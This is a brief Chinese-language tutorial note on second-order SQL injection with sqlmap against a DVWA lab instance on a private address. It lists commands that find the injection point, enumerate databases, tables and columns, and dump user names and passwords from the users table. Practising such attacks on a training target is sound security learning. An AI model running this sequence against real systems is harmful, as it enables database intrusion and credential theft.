Sqlmap 高級注入,抓包,然后保存數據到1.txt
1.判斷注入點
sqlmap -r /root/1.txt -p id --second-order "http://192.168.242.1/dvw/vulnerabilities/sqli/" --level 2 #level是注入的等級,默認是1
2.爆數據庫
sqlmap -r /root/1.txt -p id --second-order "http://192.168.242.1/dvw/vulnerabilities/sqli/" --level 2 --dbs
3.爆表
sqlmap -r /root/1.txt -p id --second-order "http://192.168.242.1/dvw/vulnerabilities/sqli/" --level 2 --tables -D "dvwa"
4. 爆字段
sqlmap -r /root/1.txt -p id --second-order "http://192.168.242.1/dvw/vulnerabilities/sqli/" --level 2 --columns -D "dvwa" -T "users"
5.爆帳號密碼
sqlmap -r /root/1.txt -p id --second-order "http://192.168.242.1/dvw/vulnerabilities/sqli/" --level 2 --dump -D "dvwa" -T "users" -C "user,password"